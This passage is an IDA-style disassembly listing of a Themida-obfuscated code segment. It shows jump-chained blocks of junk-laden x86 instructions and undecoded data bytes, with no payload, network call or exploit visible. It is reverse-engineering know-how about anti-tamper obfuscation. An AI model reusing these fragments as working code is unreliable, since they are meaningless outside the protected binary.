loc_5595EA:				; CODE XREF: Themida_:005611BBj
		pop	edi
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2F08h
		mov	[esp], edi
		push	ecx
		mov	ecx, 59316A3Bh
		mov	edi, ecx
		pop	ecx
		xor	edi, 38D43F70h
		sub	edi, 6EC63795h
		push	ebx
		jmp	loc_5533FD
; ---------------------------------------------------------------------------
		dd 0F4BEB80h, 44E9C0B6h, 89000070h, 0E2E9241Ch,	81FFFFF1h
		dd 4F1398F7h, 0BA525842h, 213B1459h, 815AD701h,	78886F7h
		dd 5FFA2999h, 8077E952h, 15E0000h, 0B9515EF0h, 52674603h
		dd 71E9C829h, 2D000061h, 33526C00h, 0FF91EDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559671:				; CODE XREF: Themida_:00553E10j
		add	eax, edi
		add	eax, 6B24FA0h
		pop	edi
		push	eax
		neg	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		inc	eax
		push	ebx
		jmp	loc_563465
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 0E9505C24h, 26D1h, 3CC0EE81h
		dd 0EE8104D7h, 5F724417h, 87D2E9h, 0D9015A00h, 7928E981h
		dd 815B00D0h, 2C1h, 240C8700h, 0E924248Bh, 0FFFF8555h
		dd 5C243C87h, 9C2424D3h, 45E3E9h, 0EC835B00h, 24048904h
		dd 0C51C42B8h, 58C3293Ch, 0FFF6A0E9h, 7E681FFh,	816B3D0Bh
		dd 0A63DADF6h, 0B29CE945h, 34FF0000h, 0C4815824h, 4, 0E908E0C1h
		dd 4379h, 89243489h, 4C681E6h, 0E9000000h, 0FFFFDC86h
		dd 92E95251h, 830000C4h, 0E95304EBh, 0A80Dh, 2474FF53h
		dd 241C8B04h, 8F04C483h, 248B2404h, 4296624h, 0D1E99C24h
		dd 89FFFF6Ch, 2BD242Ch,	68000000h, 5A9Fh, 0B8240489h, 462154D8h
		dd 0FFE8E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559769:				; CODE XREF: Themida_:00560993j
		mov	eax, [esp]
		jmp	loc_554745
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48359h, 0C581DDF7h, 60154EDFh, 3EAEB850h, 0C501820Bh
		dd 3F69E9h, 14E95300h, 0Ah, 933EE9D8h, 0A9BEFFFFh, 0E953880Fh
		dd 81E4h, 0E908E0C1h, 0FFFFD683h, 24048B66h, 68916855h
		dd 24890000h, 24048324h, 2434FF04h, 4C4815Dh, 0E9000000h
		dd 1CCBh, 24048F5Eh, 63E9515Ch,	68FFFFB4h, 4AD9h, 0E9h
		dd 24248900h, 4240483h,	0AAFFE9h, 2B900h, 0ED810000h, 281E12F1h
		dd 0BB53CD29h, 1F4E1A56h, 0FFA75BE9h, 0C0B60FFFh, 0FF8071E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55980D:				; CODE XREF: Themida_:00550AFBj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	62FE697Ch
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_553A62
; ---------------------------------------------------------------------------
aSzy		db 'Áę',8,'éZY',0
		dw 2900h
aXSb		db 'ÂX)ÓéB-',0
		dd 0C8B6600h, 34556824h, 0C890000h, 0B226824h, 24890000h
		dd 5FB95124h, 0F744847Ah, 3F44E9D1h, 0F0000000h, 52E8285Ah
		dd 0D02820B2h, 459665Ah, 2CE800C3h, 66D104C3h, 83240C8Bh
		dd 206802C4h, 8900007Fh, 13B1240Ch, 8002E9C0h, 0B450ADF1h
		dd 1FF48051h, 0E91DE480h, 2C83h, 2C8BE801h, 4C48324h, 3302C083h
		dd 4312404h, 24043324h,	6624248Bh, 2404AB0Fh, 6B66E99Ch
		dd 0EF81FFFFh, 3D917877h, 50241C8Bh, 405E089h, 0E9000000h
		dd 0FFFF8582h
; ---------------------------------------------------------------------------

loc_5598D0:				; CODE XREF: Themida_:00559DDDj
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 48E3448Dh
		add	eax, 5AAA58FDh
		neg	eax
		add	eax, 0A38D9D8Eh
		add	edx, eax
		pop	eax
		push	ebp
		jmp	loc_558F7D
; ---------------------------------------------------------------------------
		dw 0AE68h
		dd 587A6D15h, 0D1079325h, 7216E909h, 0C1830000h, 1BF181FFh
		dd 896A2381h, 0EC8359CEh, 24348904h, 10DBBB53h,	0B3BE25CDh
		dd 14D8F08h, 0F7895BDEh, 0AFFFE9h
		db 0
; ---------------------------------------------------------------------------

loc_559929:				; CODE XREF: Themida_:0055B8C2j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_554F5E
; ---------------------------------------------------------------------------
		dd 72E36855h, 2C8B779Eh, 0DB1CE924h, 0F66FFFFh,	3BE902B6h
		dd 57000076h, 0EFE9E789h, 66FFFFB9h, 68240489h,	3B53h
		dd 0B5240C89h, 0E9CEB4D9h, 2EA3h, 4C481h, 0C6830000h, 24348704h
		dd 0F724248Bh, 2D8C68F9h, 8FE90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559983:				; CODE XREF: Themida_:0055495Cj
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 70h
		sub	al, cl
		push	dword ptr [esp]
		jmp	loc_555658
; ---------------------------------------------------------------------------
aIsya		db '[)ëéY€',0
		align 4
		dd 8B243433h, 0F662424h, 9C2404B3h, 0FF6A6BE9h,	24248BFFh
		dd 22BB68h, 24148900h, 0BF575A54h, 25CF45DAh, 6DCAC781h
		dd 0EF875EADh, 0E945D5F7h, 693Eh
; ---------------------------------------------------------------------------

loc_5599D8:				; CODE XREF: Themida_:00559599j
		sub	bl, 0F5h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 66h
		dd 53240C8Bh, 9D68E389h, 8900004Dh, 0BE562414h,	698A666Ah
		dd 6B42E9h, 0E9F32900h,	0FFFF8669h
; ---------------------------------------------------------------------------

loc_559A04:				; CODE XREF: Themida_:005560CDj
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_55EE26
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E9F030F9h, 67E1h, 0DAB85095h, 5632965h, 22C87E9Eh
		dd 0C83F6C35h, 46F82551h, 0B4E93CEEh, 0C0FFFFF6h, 0E95108E0h
		dd 0FFFFE1FEh, 4C681h, 0C6810000h, 4, 0FFEEFBE9h, 0D7F580FFh
		dd 7AC580h, 685B59E8h, 445h, 89243489h,	4EC83E6h, 0E9243C89h
		dd 0FFFF9BABh, 8B242C33h, 1C892424h, 80CFB324h,	0B6525EEBh
		dd 52EB8094h, 0C380F328h, 0DC8BE952h, 68B1FFFFh, 0D08AC180h
		dd 6E1C0E9h, 8845C180h,	0F48059CCh, 66DCF671h, 9D71E953h
		dd 315EFFFFh, 2434FFC8h, 4C48159h, 57000000h, 6A8D68h
		dd 0F018E900h, 0D1F6FFFFh, 80FCE180h, 0C18045C9h, 59CB0033h
		dd 0EB80C300h, 54515008h, 592434FFh, 8104C483h,	4C1h, 2E98100h
		dd 33000000h, 0C31240Ch, 240C3324h, 1C89665Ch, 4EC8324h
		dd 6E18E9h, 0D3F75900h,	4EC81h,	14890000h, 0EC835724h
		dd 24348904h, 1402ABBEh, 46DFE972h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559B22:				; CODE XREF: Themida_:0055DCBBj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55585C
; ---------------------------------------------------------------------------
		db 58h,	86h, 0D7h
		dd 0D3885366h, 0DA88D3F6h, 51665B66h, 8851D588h, 0EF8853FDh
		dd 8B5BFA88h, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 7353E95Ch, 0D2F7FFFFh, 0FFB474E9h, 685752FFh, 977409h
		dd 81D7F75Fh, 0DB3B03F7h, 0F22CE92Eh, 3489FFFFh, 7E66BE24h
		dd 0C6814EE2h, 0FFFFFFFFh, 0D3F7DE87h, 0B951DE87h, 0B11D819Eh
		dd 5D96E9h, 81E58900h, 4C5h, 6C83E900h,	0D9010000h, 58F4C181h
		dd 0B85042A2h, 0F3F5301h, 0E958C129h, 0FFFFDD1Ah, 4C281h
		dd 0C2810000h, 4, 5C241487h, 0C18EE950h, 489FFFFh, 80EBB424h
		dd 0DCF6FACCh, 528BE480h, 0EC81F3B2h, 2, 240C8966h, 7F9E9h
		dd 50BD5500h, 8139A14Dh, 52304DF5h, 76B85062h, 0E9C5C09Dh
		dd 41D5h, 4EE81h, 34870000h, 2784E924h,	38BB0000h, 0E96AB82Eh
		dd 5F1h, 4EC8355h, 0FFF793E9h, 3EBC0FFh, 0DBF6DBF6h, 3726E9h
		dd 1CF38100h, 8174AD6Dh, 55195FC7h, 81DF2978h, 55195FEFh
		dd 241C8B78h, 104C483h,	2434FFF8h, 81243C8Bh, 4C4h, 0A372E900h
		dd 0C3810000h, 28FF46ACh, 48A4BF57h, 0FB014528h, 0FD7FE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559C7E:				; CODE XREF: Themida_:00554057j
		add	edi, 4
		jmp	loc_560CF8
; ---------------------------------------------------------------------------

loc_559C89:				; CODE XREF: Themida_:00556B95j
		push	ecx
		mov	ecx, 50413CE2h
		mov	eax, 32C0088Bh
		xor	eax, ecx
		pop	ecx
		sub	eax, 2B920664h
		sub	eax, edx
		add	eax, 2B920664h
		mov	edx, [esp]
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0FFFFFFFFh
		mov	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 6C8A2CD0h
		sub	edx, 6C54D430h
		sub	eax, edx
		pop	edx
		add	eax, 2A504280h
		add	eax, 306806ADh
		add	eax, ebp
		sub	eax, 306806ADh
		sub	eax, 2A504280h
		push	7A1Dh
		mov	[esp], edx
		push	3558A0h
		jmp	loc_556A98
; ---------------------------------------------------------------------------

loc_559CF4:				; CODE XREF: Themida_:00562C88j
		mov	eax, 4
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_550985
; ---------------------------------------------------------------------------
		db 29h
		dd 5E95BD9h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559D0B:				; CODE XREF: Themida_:00559D42j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_561DE1
; ---------------------------------------------------------------------------
		dw 2C28h
		dd 166E924h, 665E0000h,	566D829h, 8B6632BDh, 0CE68241Ch
		dd 8900006Fh, 0E6892434h, 4C681h, 25E90000h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559D3F:				; CODE XREF: Themida_:00550841j
		xor	[esp], eax
		jmp	loc_559D0B
; ---------------------------------------------------------------------------
		db 0B3h
		dd 12F968D3h, 4890000h,	0F3B424h, 0EC8158E3h, 2, 434FE9h
		dd 0FFE95700h, 68FFFF6Bh, 0FFFFFBFFh, 8324148Bh, 2C8904ECh
		dd 81E58924h, 4C5h, 9A31E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559D82:				; CODE XREF: Themida_:00560825j
		sub	edi, 67EA5030h
		push	ebp
		mov	ebp, 32A10ED5h
		xor	edi, ebp
		pop	ebp
		add	edi, 932D4437h
		jmp	loc_55B034
; ---------------------------------------------------------------------------

loc_559D9C:				; CODE XREF: Themida_:005574BEj
		pop	esi
		xchg	edx, [esp]
		jmp	loc_552823
; ---------------------------------------------------------------------------

loc_559DA5:				; CODE XREF: Themida_:005579A6j
		add	edx, 2
		jmp	loc_554646
; ---------------------------------------------------------------------------
		dd 1C9968h, 241C8900h, 0CFFED0B7h, 0B9AE9h, 64E95800h
		dd 0C1FFFFF9h, 0C5E902E9h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559DCF:				; CODE XREF: Themida_:0055F7B3j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5598D0
; ---------------------------------------------------------------------------
		dw 73BFh
		dd 81625947h, 6C042444h, 292DF81Fh, 5704247Ch, 3187E9h
		dd 0DFE95D00h, 81FFFFB8h, 17054AE5h, 2DBE5616h,	313E1F30h
		dd 24348BF5h, 8104C483h, 7A343BC6h, 0B3EE810Fh,	0E9056625h
		dd 0FFFF8F98h, 4C481h, 0EC810000h, 4, 0E9241489h, 0FFFF9125h
		dd 4C7815Fh, 0E9000000h, 4C4Eh,	0C781E789h, 4, 0E904EF83h
		dd 0FFFF7736h, 2FD0C581h, 90E961A4h, 1FFFFA5h, 7DF42DC8h
		dd 5FE95FD1h, 33FFFFB9h, 4312404h, 24043324h, 5324248Bh
		dd 0FFAE73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559E7D:				; CODE XREF: Themida_:00552E23j
		pop	ecx
		inc	ecx
		jmp	loc_554999
; ---------------------------------------------------------------------------
		dd 7242C80h, 0FFC360E9h, 58C789FFh, 3C8BF929h, 4C48124h
		dd 0E9000000h, 0FFFFFD0Eh, 0CCEBF281h, 0CE2D1ED2h, 2D65562Dh
		dd 2105521Fh, 0B951D001h, 2105521Fh, 0E959C801h, 0FFFFD735h
		dd 4004C483h, 0FFB51FE9h, 241487FFh, 6624248Bh,	66243C89h
		dd 22474FFh, 8F665F66h,	0F7662404h, 0E78957D7h,	4B850h
		dd 0EF810000h, 759128F9h, 0FFD3B5E9h, 7B2CFFh, 368EE9E8h
		dd 34FF0000h, 0E8685824h, 8900005Ah, 71E92404h,	5DFFFF84h
		dd 22B3BE56h, 0F5315C0Dh, 5DE9895Eh, 75E9F931h,	81FFFFEDh
		dd 755484E9h, 81E90120h, 755484C1h, 242C8B20h, 5704C483h
		dd 8904EC83h, 0BF572434h, 33512254h, 1E2F781h, 0FE8931A8h
		dd 0FFEE835Fh, 9FBE9h, 2474FF00h, 48F5904h, 2055C24h, 87000000h
		dd 248B2404h, 2424D224h, 64AEE99Ch, 3C8BFFFFh, 4C48324h
		dd 2BA2C581h, 0CD017034h, 2BA2ED81h, 34FF7034h,	0C4815924h
		dd 4, 8447E956h, 3350000h, 8922A57Ah, 24048BC6h, 8104C483h
		dd 0AF11EACEh, 9EE68168h, 0E9187447h, 0FFFFCB9Dh, 6E856853h
		dd 36E93F40h, 0C1000082h, 0CD8106E5h, 9CD41A1h,	6839ED81h
		dd 0F5812A2Dh, 2A1D4AFAh, 0FFF284E9h, 5FF801FFh, 3A64872Dh
		dd 0E9D0291Ah, 0FFFFBC98h, 0BD242C89h, 1E7A41CBh, 0A9BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_559FF5:				; CODE XREF: Themida_:0055E78Dj
		push	5A36h
		jmp	loc_551BFE
; ---------------------------------------------------------------------------
		db 0BBh
		dd 64783F31h, 4245C29h,	3105585Bh, 5E64783Fh, 707AEB81h
		dd 0C30137E3h, 707AC381h, 11E937E3h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A023:				; CODE XREF: Themida_:005514A4j
		add	ebx, ecx
		sub	ebx, 27807E9Dh
		sub	ebx, 163B5452h
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55E789
; ---------------------------------------------------------------------------
aUiDs6j		db '˝“¨ždé6J',0
		dw 8B00h
		dd 0C4812434h, 4, 6535E9h, 4ED6F700h, 1F81E681h, 0C6814BD0h
		dd 0A211CCh, 8340F681h,	9CE952F8h, 66000083h, 68240C8Bh
		dd 3A52h, 54242C89h, 0E92434FFh, 9904h,	4C281h,	0ECE90000h
		dd 8B000016h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_560449
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 0FAE9555Ch,	0C100007Bh, 0BD5504EBh
		dd 5FA850FFh, 0D3ED8145h, 813AE73Ch, 23140EF5h,	23ED8179h
		dd 315291E9h, 0D0E95DEBh, 660000AEh, 81240C8Bh,	4ECh, 24048900h
		dd 3FEA68h, 24248900h, 4240481h, 58000000h, 9D55E9h, 0E1895100h
		dd 401BE9h, 5EF70100h, 5C243C87h, 51FFC680h, 0E58013B5h
		dd 0FCB4507Ah, 0E958E528h, 470Fh, 0BF243C89h, 6C96D67h
		dd 94E5E9h, 4C28100h, 83000000h, 148704C2h, 0C4E95C24h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A13B:				; CODE XREF: Themida_:00564C95j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		db 0F7h
		dd 84C281D2h, 0F788C768h, 7DEA81D2h, 8963CAB5h,	0BF575AD1h
		dd 5F4516B5h, 2680C781h, 60E94A00h, 810000A9h, 4C7h, 8D1BE900h
		dd 3C8BFFFFh, 0E2895224h, 2051E9h, 5EF13100h, 242C8151h
		dd 2A5D4E5Dh, 5DC5815Dh, 0E92A5D4Eh, 0B276h, 5624048Bh
		dd 57E9E689h, 0BBFFFF8Fh, 0A1AD982h, 295BDE29h,	34FF5EF3h
		dd 0C4835D24h, 5BDF0904h, 1A97E781h, 0EF83408Ch, 4273E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A1CA:				; CODE XREF: Themida_:005533FEj
		mov	esi, 7F241594h
		sub	esi, 49190469h
		jmp	loc_551167
; ---------------------------------------------------------------------------
aBaaStss	db 'í:áté™!',0
		dd 24348900h, 0FFE279E9h, 0EB835EFFh, 241C3304h, 33241C31h
		dd 895C241Ch, 0EC832434h, 69F0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A206:				; CODE XREF: Themida_:00558F83j
		sub	ebp, 59406CE2h
		add	ebp, 0DE053E8h
		sub	edx, ebp
		jmp	loc_55C7F9
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0F3h
		dd 0F725BE14h, 0D6CB81DBh, 8122175Bh, 0E1ABDFF3h, 5BD829C2h
		dd 905D029h, 0E93DB650h, 2B29h,	5C242C87h, 0FFCBF8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A245:				; CODE XREF: Themida_:005569DDj
		mov	[esp], edx
		push	ecx
		push	edi
		mov	edi, 7CCC21D8h
		sub	[esp+4], edi
		pop	edi
		mov	edx, [esp]
		push	eax
		jmp	loc_561B36
; ---------------------------------------------------------------------------
		db 5Ah,	88h, 0D8h
		dd 241C8B66h, 815A5452h, 4C2h, 2C28300h, 5C241487h, 0C330D830h
		dd 57DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A27D:				; CODE XREF: Themida_:00563475j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_56109E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0AEE92424h, 29FFFF7Ah, 0FB2959CFh, 0BCE0E95Fh, 815AFFFFh
		dd 326743E2h, 3685051h,	58413E65h, 34FFC201h, 0C4835824h
		dd 6DC28104h, 810B3C23h, 8C8E73F2h, 5AD0298Ch, 0C1D8F740h
		dd 3C2D06E0h, 169F1C1h,	148758C2h, 85685C24h, 89000078h
		dd 0BE562414h, 68DD0E76h, 108E64BAh, 5EF229E8h,	0C104EAC1h
		dd 574A04E2h, 0FF635EE9h, 243431FFh, 8B243433h,	0D3662424h
		dd 0E99C242Ch, 0FFFF6108h, 0E952E801h, 53E5h, 5C241C87h
		dd 0FF60F7E9h, 0F56856FFh, 0E9775530h, 77E2h, 81FFE983h
		dd 0FFFFFFC1h, 5A5452FFh, 4C281h, 0EA830000h, 24148704h
		dd 2414895Ch, 0A4ABE9h,	0D4E18100h, 8153CC2Bh, 5D098CC9h
		dd 8FC98107h, 815BF523h, 0B20FB9F1h, 8E95554h, 8100009Dh
		dd 4C2h, 4C28100h, 0E9000000h, 2F6h, 0F615C681h, 0F1010080h
		dd 4E9815Eh, 33000000h,	0C31240Ch, 0B86E924h, 815D0000h
		dd 0C54798F3h, 0E9DA89D4h, 0FFFF7B56h, 5724048Bh, 0BE56E789h
		dd 4, 835EF701h, 8BE904C7h, 890000A8h, 37EEE9E5h, 34FF0000h
		dd 0E2FDE924h, 7BBBFFFFh, 0E995CA45h, 0FFFFF927h, 355AD029h
		dd 52849D6h, 8158C729h,	29A046EFh, 557E9DBh, 1B50000h
		dd 5966EA00h, 0A0E4E9h,	0E7895700h, 4C781h, 0EF810000h
		dd 4, 0D27E9h, 0D6E95400h, 68000011h, 7AE2h, 51241489h
		dd 88FC8850h, 0CA8858E1h, 7344E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A42D:				; CODE XREF: Themida_:005653A3j
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_557488
; ---------------------------------------------------------------------------
aHl		db '\hŤ`',0
		dd 34DAE900h, 0E95F0000h, 95C5h, 24148B66h, 81E38953h
		dd 4C3h, 2C38100h, 87000000h, 665C241Ch, 66785868h, 52240C89h
		dd 35B51DB6h, 0E95AF528h, 6DB4h, 5C241433h, 1C8B5453h
		dd 4C48124h, 81000000h,	4C3h, 4EB8300h,	251BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A495:				; CODE XREF: Themida_:0055901Ej
		pop	eax
		dec	eax
		jmp	loc_5573A0
; ---------------------------------------------------------------------------
		dd 0E98FF480h, 8F5Eh, 31240433h, 4332404h, 24248B24h, 0FFFBD7E9h
		dd 7BEE80FFh, 0FFDB86E9h, 55E689FFh, 4BDh, 0E9EE0100h
		dd 0FFFF8983h, 8104C483h, 0EE9512F6h, 14CCE97Ah, 0F2C0000h
		dd 0FFC53EE9h, 24248BFFh, 310EE8C1h, 6FA68C8h, 42E90000h
		dd 87000093h, 53DA87D6h, 5B2414F7h, 0D687DA87h,	0EE81D6F7h
		dd 38881D98h, 0BBE9F301h, 29000081h, 0E38159CBh, 7BB35667h
		dd 0DDF5B951h, 0CB29F2EEh, 0FFC23AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A525:				; CODE XREF: Themida_:0055589Ej
		add	eax, ebx
		pop	ebx
		jmp	loc_55E772
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E9E38953h, 0FFFF6AF3h, 0E9028F64h, 0FFFF5EE0h, 2404815Fh
		dd 7CBE1E62h, 0FF92B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A54D:				; CODE XREF: Themida_:0055AF6Ej
		mov	[esp], edx
		jmp	loc_553495
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0ACh
		dd 0E958BB15h, 0FFFFF144h, 0E96DC580h, 8D9Fh, 3863F281h
		dd 0F2812C6Ah, 64890A8Bh, 7B40F281h, 0D3217743h, 0E0EB815Ah
		dd 8112A16Ah, 0A7D1ECF3h, 8BDE219Dh, 8951241Ch,	4C181E1h
		dd 83000000h, 0C3304C1h, 240C3124h, 0E9240C33h,	26CEh
		dd 80E6E680h, 0F58898C6h, 6EF3E9h, 57E0D100h, 7279B951h
		dd 0D9F7257Ch, 35F18141h, 89B68FF6h, 0F80959CFh, 83243C8Bh
		dd 832504C4h, 48414835h, 0F7CA8205h, 4EB81BEh, 0E968A03Ah
		dd 4CFFh, 0B8E95156h, 29FFFF88h, 9D31E9D0h, 2C87FFFFh
		dd 24348B24h, 0C104C483h, 0E95608EEh, 2779h, 2FFAEA81h
		dd 0D1015EBFh, 0A8E9555Ah
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A617:				; CODE XREF: Themida_:00556BB1j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	58F8h
		mov	[esp], edx
		mov	edx, 533855F8h
		xor	eax, edx
		pop	edx
		jmp	loc_550420
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E0895058h, 405h, 6BE95300h,	0B900007Dh, 3AAB60BFh
		dd 1EE9CB31h, 8B00002Eh, 0E950243Ch, 7401h, 10FEE958h
		dd 14870000h, 0A4E95C24h, 5100008Ch, 61036866h,	241C8966h
		dd 383BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A691:				; CODE XREF: Themida_:0055FEB8j
		add	esp, 4
		mov	ebp, esi
		jmp	loc_562D1B
; ---------------------------------------------------------------------------

loc_55A69E:				; CODE XREF: Themida_:0055B25Aj
		pop	edx
		add	ebx, 54573F60h
		add	ebx, edx
		sub	ebx, 54573F60h
		add	ebx, 510E5D6Dh
		jmp	loc_55164C
; ---------------------------------------------------------------------------
		dd 3C335958h, 243C3124h, 8B243C33h, 34FF2424h, 2434FF24h
		dd 20DB6858h, 0C890000h, 53595424h, 4BBh, 5BD90100h, 0E904E983h
		dd 6DF8h
; ---------------------------------------------------------------------------

loc_55A6E8:				; CODE XREF: Themida_:005643E9j
		mov	dh, 9Fh
		add	bl, dh
		jmp	loc_55958D
; ---------------------------------------------------------------------------

loc_55A6F1:				; CODE XREF: Themida_:00562B2Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1CA1577Ah
		add	edi, eax
		pop	eax
		jmp	loc_55ECF1
; ---------------------------------------------------------------------------
		db 0F7h
		dd 726BE9D6h, 34FFFFFFh, 94685924h, 89000076h, 1868243Ch
		dd 89000059h, 4832424h,	555F0424h, 0D13E03BDh, 7FEEE94Fh
		dd 4050000h, 5000000h, 2, 2474FF50h, 94BFE904h,	0C780FFFFh
		dd 8BEE933h, 14890000h,	67E95624h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A757:				; CODE XREF: Themida_:0055816Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55EDB6
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 0E9000000h, 0A845h, 8104C483h, 4C4h,	24348B00h, 81E18951h
		dd 4C1h, 4E98300h, 0E9240C87h, 711Fh, 5E3C143h,	50E4E9h
		dd 0BBBE5600h, 0F7533C22h, 5CD7E9DEh, 0DB7FFFFh, 0C7FED7F6h
		dd 8050CF80h, 0B25224EFh, 0C0C2FEDAh, 0E2D003EAh, 5AE3E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A7C2:				; CODE XREF: Themida_:00551EEAj
		pop	edx
		pop	ecx
		mov	bl, al
		jmp	loc_564513
; ---------------------------------------------------------------------------
		db 80h
		dd 3DE904F2h, 8300001Ch, 0FA0104C4h, 0E9243C8Bh, 0FFFFA893h
		dd 5FFD0159h, 4BF57h, 0A7E90000h, 33FFFF76h, 0E1E92414h
		dd 5100006Ch, 0C580FBB5h, 59E80079h, 0E0E9BB0Ch
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A807:				; CODE XREF: Themida_:0056508Dj
		add	eax, edi
		sub	eax, 78F94D5Fh
		jmp	loc_553869
; ---------------------------------------------------------------------------
		db 66h
		dd 4EC8359h, 0E9243489h, 0FFFFEFB7h, 24348758h,	241C895Ch
		dd 4BBh, 39B4E900h, 0E9560000h,	8AB2h, 3C8BFA01h, 653AE924h
		dd 0EC810000h, 4, 0B9240C89h, 4, 0C7E9CE01h, 68FFFF89h
		dd 517Fh, 0BD242C89h, 0DDC1683h, 2C8BEA01h, 901EE924h
		dd 0C4830000h, 8BF03004h, 0C4832414h, 0B0B65204h, 8085EE80h
		dd 0F328F0C3h, 5AF0EB80h, 3DEB80h, 7FB551C3h, 0F6C0E580h
		dd 0C297E9DDh, 8B66FFFFh, 0E9512404h, 0FFFF7E42h, 4C481h
		dd 0EC830000h, 9F8CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A8B2:				; CODE XREF: Themida_:00554B22j
		pop	ebp
		jmp	loc_554AE7
; ---------------------------------------------------------------------------

loc_55A8B8:				; CODE XREF: Themida_:005616C8j
		sub	edx, eax
		sub	edx, 18A83FF1h
		push	ecx
		mov	ecx, 48297925h
		add	ecx, 1C6B2BAFh
		add	ecx, 5277399Ch
		xor	ecx, 0C1C6964h
		or	ecx, 60FA3DABh
		add	ecx, 6D207085h
		sub	edx, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55468D
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFBC7FE9h, 246C01FFh, 246C8104h, 88194E04h,	2444812Bh
		dd 4F5D1704h, 34FF5D40h, 0C4815824h, 4,	4EC81h,	14890000h
		dd 33BB5324h, 8156F072h, 0AF45EDEBh, 4A21E94Bh,	89660000h
		dd 0E5E9240Ch, 89FFFF5Ah, 2E92424h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55A943:				; CODE XREF: Themida_:00550703j
		push	edi
		jmp	loc_55E934
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 645Fh, 242C8756h, 9BE9D5F7h,	0F6FFFFFCh, 0FCC780D7h
		dd 80F0F780h, 0FE0024C6h, 5B24EE80h, 148BF030h,	4C48324h
		dd 0FFE781E9h, 0EE815EFFh, 6BF344EEh, 0FF5C17E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A985:				; CODE XREF: Themida_:00551343j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561AB8
; ---------------------------------------------------------------------------
		db 66h
